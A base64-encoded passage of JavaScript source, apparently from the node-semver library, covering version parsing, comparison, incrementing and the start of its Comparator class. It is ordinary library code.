KycgK1xuICAgICAgICAgICAgICAgICAgICcoJyArIHNyY1tYUkFOR0VQTEFJTl0gKyAnKScgK1xuICAgICAgICAgICAgICAgICAgICdcXFxccyokJztcblxudmFyIEhZUEhFTlJBTkdFTE9PU0UgPSBSKys7XG5zcmNbSFlQSEVOUkFOR0VMT09TRV0gPSAnXlxcXFxzKignICsgc3JjW1hSQU5HRVBMQUlOTE9PU0VdICsgJyknICtcbiAgICAgICAgICAgICAgICAgICAgICAgICdcXFxccystXFxcXHMrJyArXG4gICAgICAgICAgICAgICAgICAgICAgICAnKCcgKyBzcmNbWFJBTkdFUExBSU5MT09TRV0gKyAnKScgK1xuICAgICAgICAgICAgICAgICAgICAgICAgJ1xcXFxzKiQnO1xuXG4vLyBTdGFyIHJhbmdlcyBiYXNpY2FsbHkganVzdCBhbGxvdyBhbnl0aGluZyBhdCBhbGwuXG52YXIgU1RBUiA9IFIrKztcbnNyY1tTVEFSXSA9ICcoPHw+KT89P1xcXFxzKlxcXFwqJztcblxuLy8gQ29tcGlsZSB0byBhY3R1YWwgcmVnZXhwIG9iamVjdHMuXG4vLyBBbGwgYXJlIGZsYWctZnJlZSwgdW5sZXNzIHRoZXkgd2VyZSBjcmVhdGVkIGFib3ZlIHdpdGggYSBmbGFnLlxuZm9yICh2YXIgaSA9IDA7IGkgPCBSOyBpKyspIHtcbiAgZGVidWcoaSwgc3JjW2ldKTtcbiAgaWYgKCFyZVtpXSlcbiAgICByZVtpXSA9IG5ldyBSZWdFeHAoc3JjW2ldKTtcbn1cblxuZXhwb3J0cy5wYXJzZSA9IHBhcnNlO1xuZnVuY3Rpb24gcGFyc2UodmVyc2lvbiwgbG9vc2UpIHtcbiAgaWYgKHZlcnNpb24gaW5zdGFuY2VvZiBTZW1WZXIpXG4gICAgcmV0dXJuIHZlcnNpb247XG5cbiAgaWYgKHR5cGVvZiB2ZXJzaW9uICE9PSAnc3RyaW5nJylcbiAgICByZXR1cm4gbnVsbDtcblxuICBpZiAodmVyc2lvbi5sZW5ndGggPiBNQVhfTEVOR1RIKVxuICAgIHJldHVybiBudWxsO1xuXG4gIHZhciByID0gbG9vc2UgPyByZVtMT09TRV0gOiByZVtGVUxMXTtcbiAgaWYgKCFyLnRlc3QodmVyc2lvbikpXG4gICAgcmV0dXJuIG51bGw7XG5cbiAgdHJ5IHtcbiAgICByZXR1cm4gbmV3IFNlbVZlcih2ZXJzaW9uLCBsb29zZSk7XG4gIH0gY2F0Y2ggKGVyKSB7XG4gICAgcmV0dXJuIG51bGw7XG4gIH1cbn1cblxuZXhwb3J0cy52YWxpZCA9IHZhbGlkO1xuZnVuY3Rpb24gdmFsaWQodmVyc2lvbiwgbG9vc2UpIHtcbiAgdmFyIHYgPSBwYXJzZSh2ZXJzaW9uLCBsb29zZSk7XG4gIHJldHVybiB2ID8gdi52ZXJzaW9uIDogbnVsbDtcbn1cblxuXG5leHBvcnRzLmNsZWFuID0gY2xlYW47XG5mdW5jdGlvbiBjbGVhbih2ZXJzaW9uLCBsb29zZSkge1xuICB2YXIgcyA9IHBhcnNlKHZlcnNpb24udHJpbSgpLnJlcGxhY2UoL15bPXZdKy8sICcnKSwgbG9vc2UpO1xuICByZXR1cm4gcyA/IHMudmVyc2lvbiA6IG51bGw7XG59XG5cbmV4cG9ydHMuU2VtVmVyID0gU2VtVmVyO1xuXG5mdW5jdGlvbiBTZW1WZXIodmVyc2lvbiwgbG9vc2UpIHtcbiAgaWYgKHZlcnNpb24gaW5zdGFuY2VvZiBTZW1WZXIpIHtcbiAgICBpZiAodmVyc2lvbi5sb29zZSA9PT0gbG9vc2UpXG4gICAgICByZXR1cm4gdmVyc2lvbjtcbiAgICBlbHNlXG4gICAgICB2ZXJzaW9uID0gdmVyc2lvbi52ZXJzaW9uO1xuICB9IGVsc2UgaWYgKHR5cGVvZiB2ZXJzaW9uICE9PSAnc3RyaW5nJykge1xuICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0ludmFsaWQgVmVyc2lvbjogJyArIHZlcnNpb24pO1xuICB9XG5cbiAgaWYgKHZlcnNpb24ubGVuZ3RoID4gTUFYX0xFTkdUSClcbiAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCd2ZXJzaW9uIGlzIGxvbmdlciB0aGFuICcgKyBNQVhfTEVOR1RIICsgJyBjaGFyYWN0ZXJzJylcblxuICBpZiAoISh0aGlzIGluc3RhbmNlb2YgU2VtVmVyKSlcbiAgICByZXR1cm4gbmV3IFNlbVZlcih2ZXJzaW9uLCBsb29zZSk7XG5cbiAgZGVidWcoJ1NlbVZlcicsIHZlcnNpb24sIGxvb3NlKTtcbiAgdGhpcy5sb29zZSA9IGxvb3NlO1xuICB2YXIgbSA9IHZlcnNpb24udHJpbSgpLm1hdGNoKGxvb3NlID8gcmVbTE9PU0VdIDogcmVbRlVMTF0pO1xuXG4gIGlmICghbSlcbiAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdJbnZhbGlkIFZlcnNpb246ICcgKyB2ZXJzaW9uKTtcblxuICB0aGlzLnJhdyA9IHZlcnNpb247XG5cbiAgLy8gdGhlc2UgYXJlIGFjdHVhbGx5IG51bWJlcnNcbiAgdGhpcy5tYWpvciA9ICttWzFdO1xuICB0aGlzLm1pbm9yID0gK21bMl07XG4gIHRoaXMucGF0Y2ggPSArbVszXTtcblxuICBpZiAodGhpcy5tYWpvciA+IE1BWF9TQUZFX0lOVEVHRVIgfHwgdGhpcy5tYWpvciA8IDApXG4gICAgdGhyb3cgbmV3IFR5cGVFcnJvcignSW52YWxpZCBtYWpvciB2ZXJzaW9uJylcblxuICBpZiAodGhpcy5taW5vciA+IE1BWF9TQUZFX0lOVEVHRVIgfHwgdGhpcy5taW5vciA8IDApXG4gICAgdGhyb3cgbmV3IFR5cGVFcnJvcignSW52YWxpZCBtaW5vciB2ZXJzaW9uJylcblxuICBpZiAodGhpcy5wYXRjaCA+IE1BWF9TQUZFX0lOVEVHRVIgfHwgdGhpcy5wYXRjaCA8IDApXG4gICAgdGhyb3cgbmV3IFR5cGVFcnJvcignSW52YWxpZCBwYXRjaCB2ZXJzaW9uJylcblxuICAvLyBudW1iZXJpZnkgYW55IHByZXJlbGVhc2UgbnVtZXJpYyBpZHNcbiAgaWYgKCFtWzRdKVxuICAgIHRoaXMucHJlcmVsZWFzZSA9IFtdO1xuICBlbHNlXG4gICAgdGhpcy5wcmVyZWxlYXNlID0gbVs0XS5zcGxpdCgnLicpLm1hcChmdW5jdGlvbihpZCkge1xuICAgICAgaWYgKC9eWzAtOV0rJC8udGVzdChpZCkpIHtcbiAgICAgICAgdmFyIG51bSA9ICtpZDtcbiAgICAgICAgaWYgKG51bSA+PSAwICYmIG51bSA8IE1BWF9TQUZFX0lOVEVHRVIpXG4gICAgICAgICAgcmV0dXJuIG51bTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBpZDtcbiAgICB9KTtcblxuICB0aGlzLmJ1aWxkID0gbVs1XSA/IG1bNV0uc3BsaXQoJy4nKSA6IFtdO1xuICB0aGlzLmZvcm1hdCgpO1xufVxuXG5TZW1WZXIucHJvdG90eXBlLmZvcm1hdCA9IGZ1bmN0aW9uKCkge1xuICB0aGlzLnZlcnNpb24gPSB0aGlzLm1ham9yICsgJy4nICsgdGhpcy5taW5vciArICcuJyArIHRoaXMucGF0Y2g7XG4gIGlmICh0aGlzLnByZXJlbGVhc2UubGVuZ3RoKVxuICAgIHRoaXMudmVyc2lvbiArPSAnLScgKyB0aGlzLnByZXJlbGVhc2Uuam9pbignLicpO1xuICByZXR1cm4gdGhpcy52ZXJzaW9uO1xufTtcblxuU2VtVmVyLnByb3RvdHlwZS50b1N0cmluZyA9IGZ1bmN0aW9uKCkge1xuICByZXR1cm4gdGhpcy52ZXJzaW9uO1xufTtcblxuU2VtVmVyLnByb3RvdHlwZS5jb21wYXJlID0gZnVuY3Rpb24ob3RoZXIpIHtcbiAgZGVidWcoJ1NlbVZlci5jb21wYXJlJywgdGhpcy52ZXJzaW9uLCB0aGlzLmxvb3NlLCBvdGhlcik7XG4gIGlmICghKG90aGVyIGluc3RhbmNlb2YgU2VtVmVyKSlcbiAgICBvdGhlciA9IG5ldyBTZW1WZXIob3RoZXIsIHRoaXMubG9vc2UpO1xuXG4gIHJldHVybiB0aGlzLmNvbXBhcmVNYWluKG90aGVyKSB8fCB0aGlzLmNvbXBhcmVQcmUob3RoZXIpO1xufTtcblxuU2VtVmVyLnByb3RvdHlwZS5jb21wYXJlTWFpbiA9IGZ1bmN0aW9uKG90aGVyKSB7XG4gIGlmICghKG90aGVyIGluc3RhbmNlb2YgU2VtVmVyKSlcbiAgICBvdGhlciA9IG5ldyBTZW1WZXIob3RoZXIsIHRoaXMubG9vc2UpO1xuXG4gIHJldHVybiBjb21wYXJlSWRlbnRpZmllcnModGhpcy5tYWpvciwgb3RoZXIubWFqb3IpIHx8XG4gICAgICAgICBjb21wYXJlSWRlbnRpZmllcnModGhpcy5taW5vciwgb3RoZXIubWlub3IpIHx8XG4gICAgICAgICBjb21wYXJlSWRlbnRpZmllcnModGhpcy5wYXRjaCwgb3RoZXIucGF0Y2gpO1xufTtcblxuU2VtVmVyLnByb3RvdHlwZS5jb21wYXJlUHJlID0gZnVuY3Rpb24ob3RoZXIpIHtcbiAgaWYgKCEob3RoZXIgaW5zdGFuY2VvZiBTZW1WZXIpKVxuICAgIG90aGVyID0gbmV3IFNlbVZlcihvdGhlciwgdGhpcy5sb29zZSk7XG5cbiAgLy8gTk9UIGhhdmluZyBhIHByZXJlbGVhc2UgaXMgPiBoYXZpbmcgb25lXG4gIGlmICh0aGlzLnByZXJlbGVhc2UubGVuZ3RoICYmICFvdGhlci5wcmVyZWxlYXNlLmxlbmd0aClcbiAgICByZXR1cm4gLTE7XG4gIGVsc2UgaWYgKCF0aGlzLnByZXJlbGVhc2UubGVuZ3RoICYmIG90aGVyLnByZXJlbGVhc2UubGVuZ3RoKVxuICAgIHJldHVybiAxO1xuICBlbHNlIGlmICghdGhpcy5wcmVyZWxlYXNlLmxlbmd0aCAmJiAhb3RoZXIucHJlcmVsZWFzZS5sZW5ndGgpXG4gICAgcmV0dXJuIDA7XG5cbiAgdmFyIGkgPSAwO1xuICBkbyB7XG4gICAgdmFyIGEgPSB0aGlzLnByZXJlbGVhc2VbaV07XG4gICAgdmFyIGIgPSBvdGhlci5wcmVyZWxlYXNlW2ldO1xuICAgIGRlYnVnKCdwcmVyZWxlYXNlIGNvbXBhcmUnLCBpLCBhLCBiKTtcbiAgICBpZiAoYSA9PT0gdW5kZWZpbmVkICYmIGIgPT09IHVuZGVmaW5lZClcbiAgICAgIHJldHVybiAwO1xuICAgIGVsc2UgaWYgKGIgPT09IHVuZGVmaW5lZClcbiAgICAgIHJldHVybiAxO1xuICAgIGVsc2UgaWYgKGEgPT09IHVuZGVmaW5lZClcbiAgICAgIHJldHVybiAtMTtcbiAgICBlbHNlIGlmIChhID09PSBiKVxuICAgICAgY29udGludWU7XG4gICAgZWxzZVxuICAgICAgcmV0dXJuIGNvbXBhcmVJZGVudGlmaWVycyhhLCBiKTtcbiAgfSB3aGlsZSAoKytpKTtcbn07XG5cbi8vIHByZW1pbm9yIHdpbGwgYnVtcCB0aGUgdmVyc2lvbiB1cCB0byB0aGUgbmV4dCBtaW5vciByZWxlYXNlLCBhbmQgaW1tZWRpYXRlbHlcbi8vIGRvd24gdG8gcHJlLXJlbGVhc2UuIHByZW1ham9yIGFuZCBwcmVwYXRjaCB3b3JrIHRoZSBzYW1lIHdheS5cblNlbVZlci5wcm90b3R5cGUuaW5jID0gZnVuY3Rpb24ocmVsZWFzZSwgaWRlbnRpZmllcikge1xuICBzd2l0Y2ggKHJlbGVhc2UpIHtcbiAgICBjYXNlICdwcmVtYWpvcic6XG4gICAgICB0aGlzLnByZXJlbGVhc2UubGVuZ3RoID0gMDtcbiAgICAgIHRoaXMucGF0Y2ggPSAwO1xuICAgICAgdGhpcy5taW5vciA9IDA7XG4gICAgICB0aGlzLm1ham9yKys7XG4gICAgICB0aGlzLmluYygncHJlJywgaWRlbnRpZmllcik7XG4gICAgICBicmVhaztcbiAgICBjYXNlICdwcmVtaW5vcic6XG4gICAgICB0aGlzLnByZXJlbGVhc2UubGVuZ3RoID0gMDtcbiAgICAgIHRoaXMucGF0Y2ggPSAwO1xuICAgICAgdGhpcy5taW5vcisrO1xuICAgICAgdGhpcy5pbmMoJ3ByZScsIGlkZW50aWZpZXIpO1xuICAgICAgYnJlYWs7XG4gICAgY2FzZSAncHJlcGF0Y2gnOlxuICAgICAgLy8gSWYgdGhpcyBpcyBhbHJlYWR5IGEgcHJlcmVsZWFzZSwgaXQgd2lsbCBidW1wIHRvIHRoZSBuZXh0IHZlcnNpb25cbiAgICAgIC8vIGRyb3AgYW55IHByZXJlbGVhc2VzIHRoYXQgbWlnaHQgYWxyZWFkeSBleGlzdCwgc2luY2UgdGhleSBhcmUgbm90XG4gICAgICAvLyByZWxldmFudCBhdCB0aGlzIHBvaW50LlxuICAgICAgdGhpcy5wcmVyZWxlYXNlLmxlbmd0aCA9IDA7XG4gICAgICB0aGlzLmluYygncGF0Y2gnLCBpZGVudGlmaWVyKTtcbiAgICAgIHRoaXMuaW5jKCdwcmUnLCBpZGVudGlmaWVyKTtcbiAgICAgIGJyZWFrO1xuICAgIC8vIElmIHRoZSBpbnB1dCBpcyBhIG5vbi1wcmVyZWxlYXNlIHZlcnNpb24sIHRoaXMgYWN0cyB0aGUgc2FtZSBhc1xuICAgIC8vIHByZXBhdGNoLlxuICAgIGNhc2UgJ3ByZXJlbGVhc2UnOlxuICAgICAgaWYgKHRoaXMucHJlcmVsZWFzZS5sZW5ndGggPT09IDApXG4gICAgICAgIHRoaXMuaW5jKCdwYXRjaCcsIGlkZW50aWZpZXIpO1xuICAgICAgdGhpcy5pbmMoJ3ByZScsIGlkZW50aWZpZXIpO1xuICAgICAgYnJlYWs7XG5cbiAgICBjYXNlICdtYWpvcic6XG4gICAgICAvLyBJZiB0aGlzIGlzIGEgcHJlLW1ham9yIHZlcnNpb24sIGJ1bXAgdXAgdG8gdGhlIHNhbWUgbWFqb3IgdmVyc2lvbi5cbiAgICAgIC8vIE90aGVyd2lzZSBpbmNyZW1lbnQgbWFqb3IuXG4gICAgICAvLyAxLjAuMC01IGJ1bXBzIHRvIDEuMC4wXG4gICAgICAvLyAxLjEuMCBidW1wcyB0byAyLjAuMFxuICAgICAgaWYgKHRoaXMubWlub3IgIT09IDAgfHwgdGhpcy5wYXRjaCAhPT0gMCB8fCB0aGlzLnByZXJlbGVhc2UubGVuZ3RoID09PSAwKVxuICAgICAgICB0aGlzLm1ham9yKys7XG4gICAgICB0aGlzLm1pbm9yID0gMDtcbiAgICAgIHRoaXMucGF0Y2ggPSAwO1xuICAgICAgdGhpcy5wcmVyZWxlYXNlID0gW107XG4gICAgICBicmVhaztcbiAgICBjYXNlICdtaW5vcic6XG4gICAgICAvLyBJZiB0aGlzIGlzIGEgcHJlLW1pbm9yIHZlcnNpb24sIGJ1bXAgdXAgdG8gdGhlIHNhbWUgbWlub3IgdmVyc2lvbi5cbiAgICAgIC8vIE90aGVyd2lzZSBpbmNyZW1lbnQgbWlub3IuXG4gICAgICAvLyAxLjIuMC01IGJ1bXBzIHRvIDEuMi4wXG4gICAgICAvLyAxLjIuMSBidW1wcyB0byAxLjMuMFxuICAgICAgaWYgKHRoaXMucGF0Y2ggIT09IDAgfHwgdGhpcy5wcmVyZWxlYXNlLmxlbmd0aCA9PT0gMClcbiAgICAgICAgdGhpcy5taW5vcisrO1xuICAgICAgdGhpcy5wYXRjaCA9IDA7XG4gICAgICB0aGlzLnByZXJlbGVhc2UgPSBbXTtcbiAgICAgIGJyZWFrO1xuICAgIGNhc2UgJ3BhdGNoJzpcbiAgICAgIC8vIElmIHRoaXMgaXMgbm90IGEgcHJlLXJlbGVhc2UgdmVyc2lvbiwgaXQgd2lsbCBpbmNyZW1lbnQgdGhlIHBhdGNoLlxuICAgICAgLy8gSWYgaXQgaXMgYSBwcmUtcmVsZWFzZSBpdCB3aWxsIGJ1bXAgdXAgdG8gdGhlIHNhbWUgcGF0Y2ggdmVyc2lvbi5cbiAgICAgIC8vIDEuMi4wLTUgcGF0Y2hlcyB0byAxLjIuMFxuICAgICAgLy8gMS4yLjAgcGF0Y2hlcyB0byAxLjIuMVxuICAgICAgaWYgKHRoaXMucHJlcmVsZWFzZS5sZW5ndGggPT09IDApXG4gICAgICAgIHRoaXMucGF0Y2grKztcbiAgICAgIHRoaXMucHJlcmVsZWFzZSA9IFtdO1xuICAgICAgYnJlYWs7XG4gICAgLy8gVGhpcyBwcm9iYWJseSBzaG91bGRuJ3QgYmUgdXNlZCBwdWJsaWNseS5cbiAgICAvLyAxLjAuMCBcInByZVwiIHdvdWxkIGJlY29tZSAxLjAuMC0wIHdoaWNoIGlzIHRoZSB3cm9uZyBkaXJlY3Rpb24uXG4gICAgY2FzZSAncHJlJzpcbiAgICAgIGlmICh0aGlzLnByZXJlbGVhc2UubGVuZ3RoID09PSAwKVxuICAgICAgICB0aGlzLnByZXJlbGVhc2UgPSBbMF07XG4gICAgICBlbHNlIHtcbiAgICAgICAgdmFyIGkgPSB0aGlzLnByZXJlbGVhc2UubGVuZ3RoO1xuICAgICAgICB3aGlsZSAoLS1pID49IDApIHtcbiAgICAgICAgICBpZiAodHlwZW9mIHRoaXMucHJlcmVsZWFzZVtpXSA9PT0gJ251bWJlcicpIHtcbiAgICAgICAgICAgIHRoaXMucHJlcmVsZWFzZVtpXSsrO1xuICAgICAgICAgICAgaSA9IC0yO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoaSA9PT0gLTEpIC8vIGRpZG4ndCBpbmNyZW1lbnQgYW55dGhpbmdcbiAgICAgICAgICB0aGlzLnByZXJlbGVhc2UucHVzaCgwKTtcbiAgICAgIH1cbiAgICAgIGlmIChpZGVudGlmaWVyKSB7XG4gICAgICAgIC8vIDEuMi4wLWJldGEuMSBidW1wcyB0byAxLjIuMC1iZXRhLjIsXG4gICAgICAgIC8vIDEuMi4wLWJldGEuZm9vYmx6IG9yIDEuMi4wLWJldGEgYnVtcHMgdG8gMS4yLjAtYmV0YS4wXG4gICAgICAgIGlmICh0aGlzLnByZXJlbGVhc2VbMF0gPT09IGlkZW50aWZpZXIpIHtcbiAgICAgICAgICBpZiAoaXNOYU4odGhpcy5wcmVyZWxlYXNlWzFdKSlcbiAgICAgICAgICAgIHRoaXMucHJlcmVsZWFzZSA9IFtpZGVudGlmaWVyLCAwXTtcbiAgICAgICAgfSBlbHNlXG4gICAgICAgICAgdGhpcy5wcmVyZWxlYXNlID0gW2lkZW50aWZpZXIsIDBdO1xuICAgICAgfVxuICAgICAgYnJlYWs7XG5cbiAgICBkZWZhdWx0OlxuICAgICAgdGhyb3cgbmV3IEVycm9yKCdpbnZhbGlkIGluY3JlbWVudCBhcmd1bWVudDogJyArIHJlbGVhc2UpO1xuICB9XG4gIHRoaXMuZm9ybWF0KCk7XG4gIHRoaXMucmF3ID0gdGhpcy52ZXJzaW9uO1xuICByZXR1cm4gdGhpcztcbn07XG5cbmV4cG9ydHMuaW5jID0gaW5jO1xuZnVuY3Rpb24gaW5jKHZlcnNpb24sIHJlbGVhc2UsIGxvb3NlLCBpZGVudGlmaWVyKSB7XG4gIGlmICh0eXBlb2YobG9vc2UpID09PSAnc3RyaW5nJykge1xuICAgIGlkZW50aWZpZXIgPSBsb29zZTtcbiAgICBsb29zZSA9IHVuZGVmaW5lZDtcbiAgfVxuXG4gIHRyeSB7XG4gICAgcmV0dXJuIG5ldyBTZW1WZXIodmVyc2lvbiwgbG9vc2UpLmluYyhyZWxlYXNlLCBpZGVudGlmaWVyKS52ZXJzaW9uO1xuICB9IGNhdGNoIChlcikge1xuICAgIHJldHVybiBudWxsO1xuICB9XG59XG5cbmV4cG9ydHMuZGlmZiA9IGRpZmY7XG5mdW5jdGlvbiBkaWZmKHZlcnNpb24xLCB2ZXJzaW9uMikge1xuICBpZiAoZXEodmVyc2lvbjEsIHZlcnNpb24yKSkge1xuICAgIHJldHVybiBudWxsO1xuICB9IGVsc2Uge1xuICAgIHZhciB2MSA9IHBhcnNlKHZlcnNpb24xKTtcbiAgICB2YXIgdjIgPSBwYXJzZSh2ZXJzaW9uMik7XG4gICAgaWYgKHYxLnByZXJlbGVhc2UubGVuZ3RoIHx8IHYyLnByZXJlbGVhc2UubGVuZ3RoKSB7XG4gICAgICBmb3IgKHZhciBrZXkgaW4gdjEpIHtcbiAgICAgICAgaWYgKGtleSA9PT0gJ21ham9yJyB8fCBrZXkgPT09ICdtaW5vcicgfHwga2V5ID09PSAncGF0Y2gnKSB7XG4gICAgICAgICAgaWYgKHYxW2tleV0gIT09IHYyW2tleV0pIHtcbiAgICAgICAgICAgIHJldHVybiAncHJlJytrZXk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gJ3ByZXJlbGVhc2UnO1xuICAgIH1cbiAgICBmb3IgKHZhciBrZXkgaW4gdjEpIHtcbiAgICAgIGlmIChrZXkgPT09ICdtYWpvcicgfHwga2V5ID09PSAnbWlub3InIHx8IGtleSA9PT0gJ3BhdGNoJykge1xuICAgICAgICBpZiAodjFba2V5XSAhPT0gdjJba2V5XSkge1xuICAgICAgICAgIHJldHVybiBrZXk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxuZXhwb3J0cy5jb21wYXJlSWRlbnRpZmllcnMgPSBjb21wYXJlSWRlbnRpZmllcnM7XG5cbnZhciBudW1lcmljID0gL15bMC05XSskLztcbmZ1bmN0aW9uIGNvbXBhcmVJZGVudGlmaWVycyhhLCBiKSB7XG4gIHZhciBhbnVtID0gbnVtZXJpYy50ZXN0KGEpO1xuICB2YXIgYm51bSA9IG51bWVyaWMudGVzdChiKTtcblxuICBpZiAoYW51bSAmJiBibnVtKSB7XG4gICAgYSA9ICthO1xuICAgIGIgPSArYjtcbiAgfVxuXG4gIHJldHVybiAoYW51bSAmJiAhYm51bSkgPyAtMSA6XG4gICAgICAgICAoYm51bSAmJiAhYW51bSkgPyAxIDpcbiAgICAgICAgIGEgPCBiID8gLTEgOlxuICAgICAgICAgYSA+IGIgPyAxIDpcbiAgICAgICAgIDA7XG59XG5cbmV4cG9ydHMucmNvbXBhcmVJZGVudGlmaWVycyA9IHJjb21wYXJlSWRlbnRpZmllcnM7XG5mdW5jdGlvbiByY29tcGFyZUlkZW50aWZpZXJzKGEsIGIpIHtcbiAgcmV0dXJuIGNvbXBhcmVJZGVudGlmaWVycyhiLCBhKTtcbn1cblxuZXhwb3J0cy5tYWpvciA9IG1ham9yO1xuZnVuY3Rpb24gbWFqb3IoYSwgbG9vc2UpIHtcbiAgcmV0dXJuIG5ldyBTZW1WZXIoYSwgbG9vc2UpLm1ham9yO1xufVxuXG5leHBvcnRzLm1pbm9yID0gbWlub3I7XG5mdW5jdGlvbiBtaW5vcihhLCBsb29zZSkge1xuICByZXR1cm4gbmV3IFNlbVZlcihhLCBsb29zZSkubWlub3I7XG59XG5cbmV4cG9ydHMucGF0Y2ggPSBwYXRjaDtcbmZ1bmN0aW9uIHBhdGNoKGEsIGxvb3NlKSB7XG4gIHJldHVybiBuZXcgU2VtVmVyKGEsIGxvb3NlKS5wYXRjaDtcbn1cblxuZXhwb3J0cy5jb21wYXJlID0gY29tcGFyZTtcbmZ1bmN0aW9uIGNvbXBhcmUoYSwgYiwgbG9vc2UpIHtcbiAgcmV0dXJuIG5ldyBTZW1WZXIoYSwgbG9vc2UpLmNvbXBhcmUobmV3IFNlbVZlcihiLCBsb29zZSkpO1xufVxuXG5leHBvcnRzLmNvbXBhcmVMb29zZSA9IGNvbXBhcmVMb29zZTtcbmZ1bmN0aW9uIGNvbXBhcmVMb29zZShhLCBiKSB7XG4gIHJldHVybiBjb21wYXJlKGEsIGIsIHRydWUpO1xufVxuXG5leHBvcnRzLnJjb21wYXJlID0gcmNvbXBhcmU7XG5mdW5jdGlvbiByY29tcGFyZShhLCBiLCBsb29zZSkge1xuICByZXR1cm4gY29tcGFyZShiLCBhLCBsb29zZSk7XG59XG5cbmV4cG9ydHMuc29ydCA9IHNvcnQ7XG5mdW5jdGlvbiBzb3J0KGxpc3QsIGxvb3NlKSB7XG4gIHJldHVybiBsaXN0LnNvcnQoZnVuY3Rpb24oYSwgYikge1xuICAgIHJldHVybiBleHBvcnRzLmNvbXBhcmUoYSwgYiwgbG9vc2UpO1xuICB9KTtcbn1cblxuZXhwb3J0cy5yc29ydCA9IHJzb3J0O1xuZnVuY3Rpb24gcnNvcnQobGlzdCwgbG9vc2UpIHtcbiAgcmV0dXJuIGxpc3Quc29ydChmdW5jdGlvbihhLCBiKSB7XG4gICAgcmV0dXJuIGV4cG9ydHMucmNvbXBhcmUoYSwgYiwgbG9vc2UpO1xuICB9KTtcbn1cblxuZXhwb3J0cy5ndCA9IGd0O1xuZnVuY3Rpb24gZ3QoYSwgYiwgbG9vc2UpIHtcbiAgcmV0dXJuIGNvbXBhcmUoYSwgYiwgbG9vc2UpID4gMDtcbn1cblxuZXhwb3J0cy5sdCA9IGx0O1xuZnVuY3Rpb24gbHQoYSwgYiwgbG9vc2UpIHtcbiAgcmV0dXJuIGNvbXBhcmUoYSwgYiwgbG9vc2UpIDwgMDtcbn1cblxuZXhwb3J0cy5lcSA9IGVxO1xuZnVuY3Rpb24gZXEoYSwgYiwgbG9vc2UpIHtcbiAgcmV0dXJuIGNvbXBhcmUoYSwgYiwgbG9vc2UpID09PSAwO1xufVxuXG5leHBvcnRzLm5lcSA9IG5lcTtcbmZ1bmN0aW9uIG5lcShhLCBiLCBsb29zZSkge1xuICByZXR1cm4gY29tcGFyZShhLCBiLCBsb29zZSkgIT09IDA7XG59XG5cbmV4cG9ydHMuZ3RlID0gZ3RlO1xuZnVuY3Rpb24gZ3RlKGEsIGIsIGxvb3NlKSB7XG4gIHJldHVybiBjb21wYXJlKGEsIGIsIGxvb3NlKSA+PSAwO1xufVxuXG5leHBvcnRzLmx0ZSA9IGx0ZTtcbmZ1bmN0aW9uIGx0ZShhLCBiLCBsb29zZSkge1xuICByZXR1cm4gY29tcGFyZShhLCBiLCBsb29zZSkgPD0gMDtcbn1cblxuZXhwb3J0cy5jbXAgPSBjbXA7XG5mdW5jdGlvbiBjbXAoYSwgb3AsIGIsIGxvb3NlKSB7XG4gIHZhciByZXQ7XG4gIHN3aXRjaCAob3ApIHtcbiAgICBjYXNlICc9PT0nOlxuICAgICAgaWYgKHR5cGVvZiBhID09PSAnb2JqZWN0JykgYSA9IGEudmVyc2lvbjtcbiAgICAgIGlmICh0eXBlb2YgYiA9PT0gJ29iamVjdCcpIGIgPSBiLnZlcnNpb247XG4gICAgICByZXQgPSBhID09PSBiO1xuICAgICAgYnJlYWs7XG4gICAgY2FzZSAnIT09JzpcbiAgICAgIGlmICh0eXBlb2YgYSA9PT0gJ29iamVjdCcpIGEgPSBhLnZlcnNpb247XG4gICAgICBpZiAodHlwZW9mIGIgPT09ICdvYmplY3QnKSBiID0gYi52ZXJzaW9uO1xuICAgICAgcmV0ID0gYSAhPT0gYjtcbiAgICAgIGJyZWFrO1xuICAgIGNhc2UgJyc6IGNhc2UgJz0nOiBjYXNlICc9PSc6IHJldCA9IGVxKGEsIGIsIGxvb3NlKTsgYnJlYWs7XG4gICAgY2FzZSAnIT0nOiByZXQgPSBuZXEoYSwgYiwgbG9vc2UpOyBicmVhaztcbiAgICBjYXNlICc+JzogcmV0ID0gZ3QoYSwgYiwgbG9vc2UpOyBicmVhaztcbiAgICBjYXNlICc+PSc6IHJldCA9IGd0ZShhLCBiLCBsb29zZSk7IGJyZWFrO1xuICAgIGNhc2UgJzwnOiByZXQgPSBsdChhLCBiLCBsb29zZSk7IGJyZWFrO1xuICAgIGNhc2UgJzw9JzogcmV0ID0gbHRlKGEsIGIsIGxvb3NlKTsgYnJlYWs7XG4gICAgZGVmYXVsdDogdGhyb3cgbmV3IFR5cGVFcnJvcignSW52YWxpZCBvcGVyYXRvcjogJyArIG9wKTtcbiAgfVxuICByZXR1cm4gcmV0O1xufVxuXG5leHBvcnRzLkNvbXBhcmF0b3IgPSBDb21wYXJhdG9yO1xuZnVuY3Rpb24gQ29tcGFyYXRvcihjb21wLCBsb29zZSkge1xuICBpZiAoY29tcCBpbnN0YW5jZW9mIENvbXBhcmF0b3IpIHtcbiAgICBpZiAoY29tcC5sb29zZSA9PT0gbG9vc2UpXG4gICAgICByZXR1cm4gY29tcDtcbiAgICBlbHNlXG4gICAgICBjb21wID0gY29tcC52YWx1ZTtcbiAgfVxuXG4gIGlmICghKHRoaXMgaW5zdGFuY2VvZiBDb21wYXJhdG9yKSlcbiAgICByZXR1cm4gbmV3IENvbXBhcmF0b3IoY29tcCwgbG9vc2UpO1xuXG4gIGRlYnVnKCdjb21wYXJhdG9yJywgY29tcCwgbG9vc2UpO1xuICB0aGlzLmxvb3NlID0gbG9vc2U7XG4gIHRoaXMucGFyc2UoY29tcCk7XG5cbiAgaWYgKHRoaXMuc2VtdmVyID09PSBBTlkpXG4gICAgdGhpcy52YWx1ZSA9ICcnO1xuICBlbHNlXG4gICAgdGhpcy52YWx1ZSA9IHRoaXMub3BlcmF0b3IgKyB0aGlzLnNlbXZlci52ZXJzaW9uO1xuXG4gIGRlYnVnKCdjb21wJywgdGhpcyk7XG59XG5cbnZhciBBTlkgPSB7fTtcbkNvbXBhcmF0b3IucHJvdG90eXBlLnBhcnNlID0gZnVuY3Rpb24oY29tcCkge1xuICB2YXIgciA9IHRoaXMubG9vc2UgPyByZVtDT01QQVJBVE